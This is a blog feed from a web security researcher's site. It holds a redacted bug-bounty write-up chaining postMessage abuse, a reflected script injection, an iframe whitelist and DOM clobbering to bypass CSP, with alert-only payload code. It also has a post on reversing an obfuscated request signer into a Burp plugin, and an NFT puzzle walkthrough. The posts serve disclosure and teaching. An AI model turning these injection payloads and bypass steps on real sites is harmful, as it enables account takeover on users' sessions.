ziot https://buer.haus Fri, 06 Feb 2026 19:58:43 +0000 en-US hourly 1 https://wordpress.org/?v=4.7.2 Go Go XSS Gadgets: Chaining a DOM Clobbering Exploit in the Wild https://buer.haus/2024/02/23/go-go-xss-gadgets-chaining-a-dom-clobbering-exploit-in-the-wild/ Sat, 24 Feb 2024 05:19:58 +0000 http://buer.haus/?p=1382 Brett Buerhaus (@bbuerhaus), Sam Curry (@samwcyo), Maik Robert (@xEHLE_)

A few years ago, I discovered a Cross-Site Scripting (XSS) chain that incorporated several interesting methods that I usually see in write-ups or Capture the Flag challenges. I had to heavily redact this blog post to ensure the anonymity of the company because it is a bug bounty program with a no disclosure policy. In this post you will see the story of the initial discovery, roadblocks, and finding ways to continue increasing impact to achieve our goal.

1) connect.secure.domain1.com postMessage

The company’s authentication portal creates a eventListener for postMessages using the following auth bridge JavaScript file:

https://connect.secure.domain1.com/auth/static/prefs/auth.bridge.host.fix.js

window.addEventListener("message", obj.events.window.message, false);

This JavaScript is primarily loaded on the following host: connect.secure.domain1.com. This is considered the most impactful domain for the company as it is where authenticated users interact with their accounts. There is an endpoint in this environment that initiates the message listener, so we start with looking at this:

  • https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma

postMessages work by allowing you to send a message from one window to another. Consider it as passing a note to another tab, an iframe, or pop-up. By default, there are no origin restrictions and you can send messages from one website to any other website. Due to this, developers implement origin checks where they validate that the message came from a trusted origin. The auth.bridge.host.fix.js file contained the following host regex checks:

‘dev': new RegExp("^(https:\/\/)(([\\w]+(-[\\w]+)*)\\.)*(domain1|domain2)(\\.com)(:[0-9]*)$"),
'prod': new RegExp('^(https:\/\/)(([\\w]+(-[\\w]+)*)\\.)*(domain1|domain2)(\\.com)$')

This is a fairly secure regex, it will only allow messages to come from *.domain1.com or *.domain2.com. The reason this is interesting though, is that the domain2.com increases our attack surface beyond the typical domain1.com host. There is a higher chance for us to find an XSS vulnerability in domain2 than the company’s primary domain. This is a big reason why bug bounty hunters’ having limited scope can sometimes limit the ability for a company to truly protect their attack surface. Attackers will find the weakest points of entry. Identifying the company’s threat surface and being able to highlight these weaknesses can improve your chances of escalating impact.

Even if we found a way to send a postMessage to domain2, postMessages are only as useful as their implemented functionality. The first thing we have to do is identify the functionality and see if there is a reason to exploit it. Usually you will see postMessages used to resize a window or as a ping check, things that are typically not useful for an attacker. So, we review the JavaScript code to see what code paths we can interact with to determine if there is a reason to continue.

If we follow the code chain for obj.events.window.message, we eventually get to the obj.actions function loginWidget.

Here are the important parts of the code:

obj.actions = {
    'loginWidget': function(e) {
        var params = e.data.params
        if(e.data.params.titleText) {
            obj.elements.title.innerHTML = e.data.params.titleText;
        }
    }
}

When our postMessage is received by the eventListener and gets passed off to the loginWidget function, the e param will contain all of the parameters we sent in our postMessage. Further down the code, we see that e.data.params.titleText is getting passed into the DOM via innerHTML which is a possible XSS sink.

Essentially what this means is that we can write HTML to the DOM via postMessages if we achieve an XSS on *.domain1.com and *.domain2.com. You might ask, why do you care about using XSS to achieve XSS? In this case, we want to maximize our impact by achieving XSS on the connect.secure.domain1.com subdomain.

So now that we have our sink, we need to hunt for an XSS vector on either of the domains. After a bit of hunting, we eventually discovered the following:

2) domain2.com XSS

There is an ASPX application on info.domain2.com that allows you to submit forms. Hunting for XSS on ASPX applications can sometimes be a futile effort because of how much protection it has for detecting HTML elements or XSS payloads in user input. This combined with the company’s WAF means that the struggle is real. Anywhere we try to use basic HTML or XSS payloads, we are likely to get blocked by one or both of these detection mechanisms.

Fortunately, we found that when submitting the form, some of our values got reflected inside of <script>.

Entry point:

  • https://info.domain2.com/[email protected]&url=https%3a%2f%2ftrain.domain2.com%2fRedacted.Name

The POST request:

POST /form.aspx?type=&email=hoot%40hoot.com&url=https%3a%2f%2ftrain.domain2.com%2fRedacted.Name HTTP/2
Host: info.domain2.com

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=[viewstate]&__VIEWSTATEGENERATOR=DB68D79A&__EVENTVALIDATION=[validation]&hdnFulfill=2&hdnFAemail=&fld_4_FirstName=test&fld_4_LastName=test&fld_4_City=test';alert(1);//&fld_4_State=ME&fld_4_Phone1=redactedphone&fld_4_Email=&fld_4_new_exp_penguin=New+Penguin&fld_4_TrainingProgram=&fld_1_Submit=Submit

This redirects you to the following page:

  • https://info.domain2.com/FormThankYou.aspx?type=&cid=&email=

This page contains the following in the source:

var pageTitle = 'Contact Us To Learn More';
var pageName = ':recruiting:forms::thank-you';
var formID = '63';
var s_events = 'event2';
var omnPageType = 'Confirmation Pages';
var omnConvPage = '';  
var omnLeadID = '2286688';
engScore = engScore + parseInt(engScores['thank you']);
var omnCity = 'test';alert(1);//';
var omnState = 'CA';
var omnZip = '';

Fortunately for us, the omnCity variable gets set by the fld_4_City POST request variable. This allows our input to break from the variable string and start to write JavaScript. From here, we can write JavaScript without worrying about ASPX detecting us injecting new unsafe HTML elements.

Typically ASPX viewstate is configured for secure randomness so that it acts as a bit of Cross-Site Request Forgery protection. We were fortunate in this case that the viewstate is static. That means we can create an XSS payload and forward the generated viewstate to the victim.

Now that we have our XSS, we have to write JavaScript to communicate back to the postMessage listener on connect.secure.domain1.com.

3) Sending our postMessage

There are a few issues we have to deal with before we can get this to function properly. To send a postMessage, we must either target a window.open() or iframe. There are pros and cons to both of these methods.

window.open()

  • Requires user interaction to open or it gets blocked

iframe

  • No user interaction, but X-Frame-Options header is typically set to SAMEORIGIN.

Given we are going from info.domain2.com to connect.secure.domain1.com, the X-Frame-Options route is unavailable to us. After writing a payload for window.open(), that did indeed require user interaction, we wanted to eliminate it. It was not until some time later that we realized they implemented a parameter that allowed us to utilize iframes.

After browsing around domain1.com applications for awhile, we eventually spotted the following parameter:

  • https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma&allowFrom=https://a.domain1.com

This forces the request to respond with a header that essentially whitelists a specified host for iframes:

x-frame-options ALLOW-FROM https://a.domain1.com

However, it did not allow any arbitrary domain. It still required certain domain1.com domains, so it was working from some sort of whitelist. To our luck, it allowed info.domain2.com as part of the whitelist!

  • https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma&allowFrom=https://info.domain2.com

x-frame-options ALLOW-FROM https://info.domain2.com

So with this, we can now write a no interaction XSS payload using <iframe width="300" height="150">’s.

4) Content-Security Policy Woes

Unfortunately, we did not have all the pieces in place yet. The auth widget also has a Content Security Policy in place. That means we cannot just inject script and be on our merry way. Here is the CSP rule:

content-security-policy
default-src https:; object-src 'none'; img-src https: data:; frame-ancestors 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com ; base-uri 'none'; script-src 'nonce-10f560df-f3c1-40a6-a38a-5a8f4b77f7ff' 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com; style-src 'unsafe-inline' 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com; font-src 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com data:; report-uri https://o.domain1.com/reporting/csp

Tossing this into Google’s CSP evaluator, we see the following:

Effectively what this means:

  • We can only load <script> from any location if we supply a randomly generated nonce that we have no way of leaking.
  • We can include <script> from the following domains:
    • *.domain1.com
    • *.domain2.com
    • *.domain3.com
    • *.domain4.com
  • Even if we include a potentially vulnerable JavaScript file via <script>, there is no unsafe-inline which means most methods of evaluating JavaScript are going to be blocked.

5) Injecting external scripts into an already loaded DOM

Given these CSP rules, it’s important that we understand something about our exploit chain. There is no ability to run an inline unsafe eval, so we cannot use <script>[js]</script> or JavaScript in attributes such as <img onerror=[js]>. Why is this an important observation? We are writing HTML to the DOM via the innerHTML function. This all happens after the document is already loaded, therefore a new <script src=""> inserted into the DOM will not get loaded. There is a cool trick for this.

If we inject the JS file in via <iframe srcdoc="<script src=''></script>"></iframe>, it creates a new DOM ready trigger under the same context of the parent DOM. This gives us the ability to load a JS file via <script> even though we are writing to the page via innerHTML.

6) Some CSP Bypasses

The most common CSP bypasses at this point are the following:

  • An old vulnerable JavaScript library with known CSP bypasses, such as Angular or Bootstrap. These libs have a way of processing our injected HTML in a way that it bypasses the unsafe-inline eval checks.
  • A JSONP callback on one of the whitelisted domains. A vulnerable JSONP callback will allow us to load an endpoint with arbitrary JavaScript code in it.
  • Some sort of file upload on one of these whitelisted domains where we can upload arbitrary JavaScript files.

In this specific instance of XSS, we were lucky. Given the four wildcard domains there, it is highly likely that we can find one of the following CSP bypass methods. In other areas of the company, we were not as fortunate as the whitelist was reduced down to *.domain1.com and *.domain3.com alone.

Some CSP bypasses that we discovered on domain2.com (redacted examples of random libraries you could find on a host):

  • Bootstrap 3.3.7
    • https://whales.domain2.com/n/arctic/bundle/sript/script2.js
  • Bootstrap 3.3.7
    • https://penguin.domain2.com/treehouse/script.js
  • Bootstrap 3.3.7
    • https://penguin.domain2.com/walrus/bundle/script/script.js
  • Restricted JSONP via WordPress (can specify function names only)
    • https://rhinos.domain2.com/?rest_route=/wp/v2/posts&_jsonp=alert

An Angular (1-click) CSP bypass on domain1.com:

  • https://lemur.domain1.com/app/script/vendorscript-000000.js

One cool take away is that the company has a lot of dev, staging, and QA environments that are public-facing for each host. If you take a normal application, there is a good chance you can find a -qa or -dev environment. We discovered older versions of JavaScript libraries on some of these environments than on the production ones. This is due to the old environments likely not being utilized as often so security patches or code fixes are being deployed to production and sometimes not their one-off dev or staging environments.

7) Putting it all together

Using the Angular bypass we discovered on the lemur.domain1.com host, we can inject a link that when clicked will bypass CSP and execute JavaScript. Without being able to force a click, it is a 1-click and unlikely for a victim to interact with it. Either way, just to show the exploit flow so far, here is what the payload looks like. We put together our postMessage payload:


Now we need to send our payload via postMessage:

function xss() {
  var payload = {
	"action":"loginWidget",
	"params":{
  	"showTitle":"true",
  	"titleText":"",
  	"saveUsername":"test",
  	"signUp":"test",
  	"privacy":"test",
  	"fraud":"test",
  	"deepLink":"test",
  	"destination":"test"
	}
  };

  test.postMessage(payload,'*');
}

var test = window.open('https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma');

setInterval(xss, 1000);

With our postMessage payload set, we then base64 encode it and insert it into our CSRF/XSS payload on domain2.com:





Note: To keep this short, I’ve removed the viewstate and validation params as they are massive strings.

When the victim loads our CSRF payload to submit the form, they get forwarded to the thanks page, it opens a new window, and our XSS payload is embedded in the page. When they click the link, they execute an alert in the context of the domain.

Now, how about with <iframe>? It’s the same idea, utilizing the allowFrom parameter we discovered, we can specify the info.domain2.com domain and send our postMessage to an iframe we embed on the page: </iframe>

var iframe = document.createElement('iframe');
iframe.id = 'test';
iframe.src = 'https://connect.secure.domain1.com/auth/login/present?widget=true&origin=oas&allowFrom=https://info.domain2.com';
document.body.appendChild(iframe);

function xss() {
    var payload = {
        "action":"loginWidget",
        "params":{
            "showTitle":"true",
            "titleText":"",
            "saveUsername":"test",
            "signUp":"test",
            "privacy":"test",
            "fraud":"test",
            "deepLink":"test",
            "destination":"test"
        }
    };
    document.getElementById('test').contentWindow.postMessage(payload, "*")
}

setInterval(xss, 100);

This would achieve a completely 0-click alert within the context of connect.secure.domain1.com, but the JSONP we have is restricted and we cannot specify arbitrary JavaScript.

At this point I had already spent a few days on it and decided to submit it as-is. That never sits well with me though, I had to see it through for maximum impact.

8) It’s DOM-Clobberin’ Time

About a week later while exploring more of the company’s scope, I discovered a new endpoint that I had not seen before. It was unlikely for endpoints on the connect.secure.domain1.com environment to lack CSP headers. This HTML fragment is considered a static asset that gets loaded in dynamically:

  • https://connect.secure.domain1.com/s/static/bananas.html

It has no CSP headers!

While it does not look like much, at the very bottom of the file is the following JavaScript:


This has high potential to be used as a CSP bypass for the following reasons:

  • We can inject an <iframe width="300" height="150"> on connect.secure.domain1.com context which falls under the SAMEORIGIN criteria.
  • mGlobals is not declared on https://connect.secure.domain1.com/auth/login/present’s DOM
  • It is assigning the URI via .src which means the browser is going to process it with toString().

Putting those three things together, we should be able to clobber it and write an arbitrary JavaScript URI that when loaded will execute under the context of connect.secure.domain1.com due to the files lack of CSP headers in the response.

With the help of Jazzy (as well as reading a blog post from Gareth Hayes on the subject), I was able to figure out how to piece this together.

We can assign mGlobals.juanceLaunchJS to the DOM using the following:


From here, we can inject our iframe:


Now when it references window.mGlobals.nuanceLaunchJS, it will reference the iframe -> a element. When it goes to script.src, it passes it as .toString() which then fetches the href value of the a element.

At this point it will fetch the external JS file and execute without CSP restriction!

9) Takeaways

Keep track of pieces

It’s always useful to keep track of origins, headers, CSP rules, and JavaScript files in your Burp state when you’re bug bounty hunting. Some of these observations are small clues that on their own may not be useful, but when combined can lead to vulnerabilities. Never underestimate the ability to sift through your Burp history using the search term filter to discover potential XSS sinks in JavaScript or find key pieces of chains that you are missing.

Never rule out postMessages

The company has an old public VDP and this vulnerability chain went undiscovered for quite some time.

There are some very popular programs that once every few months I will do a sweep for new eventlisteners for postMessages. Many people rely on browser extensions to identify the functionality or they do not look for it at all. People end up missing some of these exploits because they are not hitting the flows to initiate the postMessages and the extensions will never see it. Manually searching for them and understanding the code flows will help you find vulnerabilities that other people are missing.

A technique that people who do binary exploitation fuzzing utilize is to spend time increasing their fuzzing coverage to as much of the binary as possible. Take a similar approach with bug bounty, ensure that you are covering as much ground as possible to find vulnerabilities.

Even still, there are some great Browser add-ons for getting notifications of postMessages, as well as ease for tracking them. One of these add-ons was released by the legendary Fransrosen:

DOM Clobbering and endless resources

I read about DOM clobbering back when trying to do Cure53's XSSMAS challenges almost a decade ago. While I understood the concepts, I had never actually found an example of this in the wild.

I wish I had spent more time creating playgrounds to interact with it so I could better understand it. Without the help of Jazzy and a few others while working on this exploit chain, I would not have considered it and may have been stuck hunting for a JSONP endpoint that did not exist.

We have endless amounts of topics to research in this space, but it’s important to familiarize yourself with the concepts to recognize them in the wild.

Lastly

Collaborate! Even the most clever hackers will miss things. Surround yourself with others and you are sure to catch things that each other are missing.

]]>
Reversing and Tooling a Signed Request Hash in Obfuscated JavaScript https://buer.haus/2024/01/16/reversing-and-tooling-a-signed-request-hash-in-obfuscated-javascript/ Tue, 16 Jan 2024 19:49:21 +0000 http://buer.haus/?p=1329

Test out this concept with a lab I helped develop at https://app.hackinghub.io/surl

I was hacking on a bug bounty program recently and discovered that the website is signing every request, preventing you from modifying the URL, including GET parameter values. I wanted to discover how they were doing this and find a way around it. If it requires a bit of effort, it is likely that not many people have tested around it. Not wanting to diminish the company’s security, I will redact information to protect their identity.

Initially while testing the target, I received generic error messages in the response when modifying the URL and GET parameter values. Eventually, I realized I was only seeing these errors when modifying GET params and not the POST params. There are two headers sent to the server and the server validates it to ensure that they match.

Headers:

  • Time: 1703010077113
  • Sign: 16428:088d7f8c3eaa175c94d1ab016be9a0c1132e329f:7a5:6581a7f6

Trying to modify the URL without updating those headers results in this error:

{"error":{"code":401,"message":"Please refresh the page"}}

From looking at requests, we don’t see these header values anywhere being sent from the server. We know the client has to generate them, so they likely exist in JavaScript. The first thing we do is bust open browser dev tools and search for the headers.

Using Ctrl+Shift+F in Firefox under Search, we can search every JavaScript resource loaded in the DOM at that time. The terms Sign and Time are fairly generic, so there are a lot of results. Unfortunately, after going through all the results, I still could not find it. That suggests that these values are obfuscated.

After searching through all of the JavaScript libraries, I eventually stumbled on a heavily obfuscated file:
https://[cdn]/[path]/33415.js?rev=5d210e7-2023-11-29

There are quite a few JavaScript deobfuscation tools and libraries online, each having their own techniques and having different results depending on how the code was obfuscated.

Examples:

Unfortunately, even with running the code through deobfuscation tools, it ended up still being highly obfuscated. Maybe there is a specific tool that can get cleaner output, but I decided to move on and try to tackle it myself. It can be important to learn how to do so if you are stuck in situations where the tools cannot help.

One of the methods I have found to work best when trying to navigate obfuscated code is to first try to understand the pseudo code as much as possible and start placing breakpoints. We know that it is signing these requests and we are looking for two things initially:

  • There are no core JavaScript function strings in the code, so they obfuscated all the string values. Finding where they are stored in the obfuscated code and how they are calling them will be a major first step to figuring out what is going on in the code.
  • We know that the string values Sign and Time are also obfuscated, so possibly in the same location.
  • It needs information from the request in order to sign it, we know that it should also be using the URL string somewhere in the code too.

So how do we place a breakpoint in the browser and what does it do? There are good videos explaining this in-depth on YouTube, but to put it simply:

  1. Press F12 (or equivalent keybind) to open your browsers' Developer Tools
  2. In Firefox, head over to "Debugger". In Chrome, it is the "Sources" tab.
  3. From here, things will be browser specific, but they mostly operate the same
  4. For Firefox, go to the Sources tab and select one of the JavaScript resource files.
  5. Click the "{}" button to beautify the source if it is minified.
  6. Hovering over the numbers on the left side of each line of code, you will see that you can click on them.
  7. Clicking on one of those numbers will set a breakpoint.
  8. Whenever the browser executes this code, it will pause all execution.

This is helpful for engineers to understand issues occurring with their code in real-time. It is helpful for hackers when reverse engineering code to better understand how it works.

After beautifying the obfuscated JavaScript, placing a few breakpoints, and triggering requests, we eventually see that these variables at the end of the code are related to the request signer:

The breakpoint will trigger when it hits the code execution and the dev tools will display the variable values stored in the DOM at the time of the breakpoint. So now we know this part of the code is related to what we are looking for.

So now that we discovered the general area of our code via breakpoints, we are left with figuring out how this part works:


        t = n[o( - 570, 'nY58')](u(), W, n[o( - 555, 'U[zo')], '');
        function o(W, n) {
          return d(W - - 774, n)
        }
        const c = n[o( - 467, 'lMAW')](u(), window, n[o( - 557, 'EJC^')], null),
        i = {};
        i[o( - 444, 'BF4)')] = + new Date;
        const f = n[o( - 493, 'jUU[')](u(), e.default, n[o( - 565, '2tt4')], null),
        k = n[o( - 579, 'FRHE')](
          r(),
          [
            n[o( - 501, 'We4x')],
            i[o( - 444, 'BF4)')],
            t,
            f ||
            0
          ][o( - 519, 'r83A')]('\n')
        );

This is a useful trick when starting to convert your obfuscated code into something easier to read. Given this piece of code, we can set a breakpoint on the first line (variable k):


        k = n[o( - 579, 'FRHE')](
          r(),
          [
            n[o( - 501, 'We4x')],
            i[o( - 444, 'BF4)')],
            t,
            f ||
            0
          ][o( - 519, 'r83A')]('\n')
        );

When the browser pauses on that line, we can copy values and send them to the console:

This can be useful when the obfuscation is trying to hide string values or function names.

Setting a breakpoint, we can start to figure out what these obfuscated values are. We can see that the w variable is an object with information about the request. This is then used to assign the current URL path to the const t.

Moving along, we can see that the const c is storing our requests’ User-Agent:

We can see that the i variable is an object that is storing “time”, a unix timestamp, likely used for the Time header in the request.

We can see f variable is storing the value 379578839:

The k variable is a hash value, but we don’t know how it is generated. The code that generates the hash:


        k = n[o( - 579, 'FRHE')](
          r(),
          [
            n[o( - 501, 'We4x')],
            i[o( - 444, 'BF4)')],
            t,
            f ||
            0
          ][o( - 519, 'r83A')]('\n')
        );

Setting a breakpoint on k, we can then start to use “Step In” (F11 in Firefox). This will take us through the code execution one step at a time. This helps us to understand what the obfuscated code is doing, but eventually we will see what they are hashing. After stepping through about 25 times, we eventually see in the following image that it is calling a function named createOutputMethod with a string containing some of our suspected strings.

The value n is:

"NQ4UQIjeSeFbaORiNgZEt0AVXvwYYGQP\n1703012009162\n/api2/v2/users/notifications/count\n379578839"

The variable W is a function named“createOutputMethod” from another library:

https://[cdn]/[path]/chunk-vendors-b49fab05.js

Going through that JavaScript file, we can see that function is part of an external library named js-sha1:


 /*
 * [js-sha1]{@link https://github.com/emn178/js-sha1}
 *
 * @version 0.6.0
 * @author Chen, Yi-Cyuan [[email protected]]
 * @copyright Chen, Yi-Cyuan 2014-2017
 * @license MIT
 */

So now we know that the hash is the following:

js-sha1([string]\ntimestamp\npath\n[number])

We can check these values against the request to get a better idea of what they might be:

We can see that the number at the end of the hash (379578839) is the User_Id of the request.

Given what information we have now, we can rewrite the obfuscated code to something easier to understand:


	const c = W["url"];

	// const d = window.navigator.userAgent;
	const d = userAgent;

  	  f["time"] = +new Date;
	
	const i = W["headers"]["user-id"];

	const k = sha1(
		[
			n["frWIg"], // pE5CRmAhC8fvaWy6u58tKDTEKCZyTKLA
			f["time"], // time
			c, // url
			i || // user-id
			0
		]["join"]('\n')
	);

We are not done yet though, we understand a bit about how the code works now, but the Sign header still has additional values in it that we have not determined yet. At the end of the class, there is this giant return with nested function calls. To keep it short, I’ve removed the nested functions.


  return i[o( - 442, 'WQdV')] = [
          o( - 560, 'r83A'),
          k,
          function (W) {
            function t(W, n) {
              return o(W - 583, n)
            }
            return Math[t(89, 'BF4)')](
…
}(k),
          n[o( - 483, 'Trv&')]
        ][o( - 458, '$LL1')](':'),
        i
      }
    }
  }

We can see in one of the functions it is passing in ‘:’, given that the Sign header has values separated by :, we can assume this is joining values. We can check this with our breakpoint and console trick to see that is indeed the join function.

Checking the values that get joined:

Remember that the Sign header value looks like this:

Sign: 16428:b866803f2316ba4682c03cf401039bc1abc068c9:770:6581a7f6

The huge nest of function calls are likely math operations manipulating the hash value to come up with that final number (e.g. 770).

At this point we have a few options to consider:

  • Do we finish reversing this entirely, do we need to? We probably have to if we want to convert it to another language.
  • Have we identified enough about how the code works in order to manipulate the values we want?
  • We don’t want to run code manually to sign requests, it’ll slow down our testing. How can we make this work automatically?

One option we have is to use a browser extension like Resource Override (Firefox, Chrome) or the browser built-in script overrides, which can be accessed by right-clicking sources in the Debugger.

This is not super efficient though, if we want to manipulate the requests in Burp Suite then we either need to rewrite the code for Python or Java. It would take a lot more effort to continue reversing the obfuscated code and rewrite it in another language. A quicker option is to copy the code, make the modifications we want, set it up as a NodeJS server, and utilize that service during requests in Burp as a plugin.

Here is a diagram of the concept:

server.js

Now that we verified that we can manipulate the URL and generate the correct hashes, we need to find a way to pass this data to Burp automatically. I have never written a Burp plugin before, so I was unfamiliar with the extension API. Thankfully in the year 2023, we have ChatGPT to speed things up.

To my surprise, it generated fairly accurate code that was about 60% functional and needed small adjustments due to API changes made to the Burp extender.

The final redacted plugin code can be found here, reqsigner.py:

To use the plugin, we have to ensure we have a Jython jar and our module folder for our installed Python modules:

With the extension loaded, we can then go ahead and start manipulating requests in Burp Suite:

I was able to modify the GET “limit” parameter value and I am no longer receiving the 401 error code.

This was a fun obstacle to overcome that did eventually lead to finding one vulnerability in a GET parameter of an API call. The issue was low-hanging, but you first had to put in some effort to test for it. A key takeaway from this is that you should always be willing to put in the effort to test something that no one else wants to. Consider the following idea:

  • If there is an unauthenticated vulnerability, someone probably found it while scanning.
  • If the vuln. requires an account but is low-hanging, someone probably found it without a scanner.
  • If it requires additional barriers to entry such as setting up payments, acquiring additional access, or reading obfuscated code, there is a good chance there are undiscovered vulnerabilities lingering that people just never put in the effort to find.

Going the extra mile is where you will strike gold while doing security testing and research.

Although reversing obfuscated code can sometimes be daunting, the tooling that exists today makes it easier than ever. With a little bit of practice learning how to use the debugger and read the DOM, you can navigate convoluted code and understand it with ease.

Check out "DEFCON 29 CTF Qualifier: 3FACTOOORX Write-up" for more JavaScript reversing.

Test out this concept with a lab I helped develop at https://app.hackinghub.io/surl
]]>
Web Hackers vs. The Auto Industry: Critical Vulnerabilities in Ferrari, BMW, Rolls Royce, Porsche, and More https://samcurry.net/web-hackers-vs-the-auto-industry Wed, 04 Jan 2023 03:11:19 +0000 http://buer.haus/?p=1463 BT’s Metaversal Album Treasure Hunt Solution https://buer.haus/2021/10/12/bts-metaversal-album-treasure-hunt-solution/ Wed, 13 Oct 2021 06:42:32 +0000 http://buer.haus/?p=1220

Intro

The musical artist known as BT recently launched his 14th album as an interactive NFT experience on the Arweave blockchain called Metaversal. Part of this experience was a multiple day long puzzle treasure hunt.

Metaversal:
https://btmusic.com/metaversal/

The beginning of the treasure hunt:
https://twitter.com/BT/status/1443318319235444738

The whole experience involved a matic airdrop, three days of puzzles leading to 11 NFTs each day, a geocache treasure hunt in real life, and a final puzzle involving the NFT game Neon District.

We assembled a squad and dove in to solve the BT puzzles:

IMPORTANT!

Before we dive into the write-up, some of the links require you to be in the BT Discord to load them. You can join his Discord via this link:

https://discord.gg/btmusic


Day 0

The day before the release of the Metaversal Engine, BT published a small puzzle on the discord where the solution is a hint for the upcoming puzzles.

Puzzle:

The original full size image: https://cdn.discordapp.com/attachments/888909629516550184/892579401504546866/Day_Zero.png

If you extract only the bold letters of the first paragraph, you get the following message : letter one

This is a clue to decipher the rest of the text, if you pick only the first letters of each word (minus the cross out words), you get the following message : song number plus song mode plus enter equals NFT

song number + song mode + enter = NFT

The Metaversal Engine

Prior to the first sequence, BT launched his Metaversal Engine where you can interact and listen to his new album. You can find it on the following URL:

https://bpbf7ma4eabfgunhibippcyjcmyrstazgpp4kteypbm4j3fs75na.arweave.net/C8JfsBwgAlNRp0BQ94sJEzEZTBkz38VMmHhZxOyy_1o/

On the bottom left there is a little spinning BT logo you can click on, it will pop up the tracklist and this is where most of the interaction is taking place.

  • By clicking on the numbers, it will open the tracklist (with 12 songs) and you can customize the order of the songs.
  • By clicking on the little sun (on the right of each song), it will open the mode list and you can change the mode for each song : Day, Night, Lunar.
  • By clicking on the “return key” button, it will check if your sequence is valid or not. That’s where the “Day 0” solution can be interpreted correctly, to get a NFT we need to gather both the right sequence of tracks and the right mode for each track.

You can see a video of this in action here (courtesy of lacy in the BT Discord):


Sequence 1: Mirror Mirror

The first puzzle to drop in the treasure hunt is a crossword puzzle for the Mirror Mirror sequence. It was dropped into Discord with this video:

You can view a higher def version of the crossword puzzle here:
https://cdn.discordapp.com/attachments/888909679638478859/892876796410888293/MIRRORMIRROR.png

And there were additional instructions with 3 more files in a Dropbox folder:
https://www.dropbox.com/s/26nokwsvxnnhfhi/The_Mirror_Mirror_Key_Crossword.zip?dl=0

Inside the folder contained 3 fairly large files.

At the bottom of the 3rd image, you could see a list of individual crossword positions, as well as the phrase: "We never get a second chance to make first impressions." We determined that this was probably the “meta” solution that would lead to the next step. We got to work and started to fill out a spreadsheet in order to solve the crossword puzzle.

Using this, we know that we need to take the answers from each position listed in the crossword puzzle and take the first letter from each one.

You can see our completed crossword puzzle spreadsheet here:
https://docs.google.com/spreadsheets/d/1pTDcqiwDXOCc5c1ZQfbS1V8zWx6MDugjPnyaMnKd3JU/edit?usp=sharing

The answer to the crossword "meta" puzzle is a URL:

The steganography script on this website allows you to hide plaintext messages inside of image files. We have nowhere else to go, so this suggests that we have stego data hidden inside an image that we already received. Instead of the encoder, we go to the decoder.

Putting the first image from the Dropbox into the decoder, we get some plaintext out:

This is a shortened URL for a YouTube video (youtu.be), so we head off to YouTube:

rorrim_rorrim - https://youtu.be/qLSNW8j5hXk

This is an unlisted video created by an account called “Mirror Mirror”:
https://www.youtube.com/channel/UClFkibkRuJMk3E6WVn47ifg

The video shows some scenes from the Metaversal song videos. It also audibly states the following:

If the world was reversed and day was night, we'd watch the sea with great delight. may beautify converter be thy guide.

In the video description, we have the following:

  • RGF5ME5pZ2h0MUx1bmFyMgpERUMuQ09OVkVSLlRFUg==
  • BT_AMENDING_BT

We don’t know what to do with the second line yet, but the first line is Base64 which decodes to the following:

Day0Night1Lunar2
DEC.CONVER.TER

The day 0, night 1, lunar 2 string indicates that we will have something that will tell us which tracks to label as day, night, or lunar, with the indicators of 0, 1, or 2. The line “DEC CONVER TER” suggests that we need to convert decimal numbers into ternary (another numbering system)

In YouTube account’s channel, we see they also have another video:

8edoc-rorrim_rorrim

The video displays a number string: “8-122943”. We know we are looking for an order and mode sequence order and that there are 11 modes/NFTs per day, so there’s a good chance this number will give us the mode for #8.

We started by trying to convert the number 122943 from decimal to ternary, we get 11 numbers of 0, 1, or 2. This looked good. Given that the challenge of the day is called “Mirror Mirror” and the video suggests reversing, we set the song order in reverse starting at 11 and ending on 1. Then we set the modes to the following:

122943 -> 01122102002

... and, it didn’t work!

Around this time, we started to discover other codes being posted to the BT Discord and social media pages.

By chance, we tried the same thing except with the first code instead of the eighth. It worked! For some reason, none of the other codes would work though.

Eventually a new video was posted containing the following info:

I’d change direction to all objectives, in sixty four this cloaked perspective. If you should seek, in earnest find. From eleven we’ll meet at the starting line

We figured out this meant shifting the starting song order based on the code number.

This quickly concluded the first day of puzzling, however there were several more hints dropped throughout the rest of the day.

Ternary and order hints:

After all of the codes were claimed, BT posted a walkthrough of the puzzles in his Discord here:
https://discord.com/channels/877707149072023572/888909679638478859/892995210529865749


Sequence 2: Spiral Key

The second puzzle started with this tweet from BT:

Along with a dropbox link to download the following picture:

According to the flavour text, we are looking for three numbers.

  • By checking the alpha plane of the picture, we can see that something has been hidden in the middle of the picture. This is roman numerals for: 616
  • By opening the picture in a hex editor, we can notice that something has been hidden at the very end of the file. https://youtu.be/92g4wY4Xhs8. The link leads to the following video : The Video Game Years 1987 - Full Gaming History Documentary (1987)
  • By opening the picture in an exif viewer, we can find another hidden message in the meta data: https://www.pinterest.com/pin/295971006747004614/ - This is a paper about the introduction of the latest Rhythm machine from Roland : the TR-909

The Meta number is 909 since it was found in the metadatas of the png. So we get the following sequence : 9096161987 which is actually an US phone number : 909-616-1987

“Congratulations and welcome to [email protected] M3t@veRs%l you found the first level of this spiral key, one man’s trash is another man’s treasure”

Sending an email to that address with “M3t@veRs%l” as the subject line, you get an automated response back:

Reading the text in a spiral starting from the middle out, you get the following string:

TYPE THE FIRST ELEVEN DIGITS OF THE GOLDEN RATIO INCLUDING DECIMAL POINT

Going back to the Metaversal album website, we type in the following using our keyboard:

1.61803398874

Looking at our dev console, we see a text file in the log:

This leads us to:

Keeping with the Spiral theme, we have a fibonacci sequence’s golden spiral.

Decoding the hex, we get: 0=day, 1=night, 2=lunar.

But the important part is “sequence =” 0, ?, ?, ?, ?, ?, ?, ?, 3, ?, 1. We know the fibonacci sequence begins with 0, so we try to see if it fits:

  • Fibonacci sequence: 0, 1, 1, 2, 3, 5, 8, 13, 21
  • [email protected]: 0, _, _, _, _, _, _, _, 3, _, 1
  • Solution: 0, 1, 1, 2, 3, 5, 8, 1, 3, 2, 1

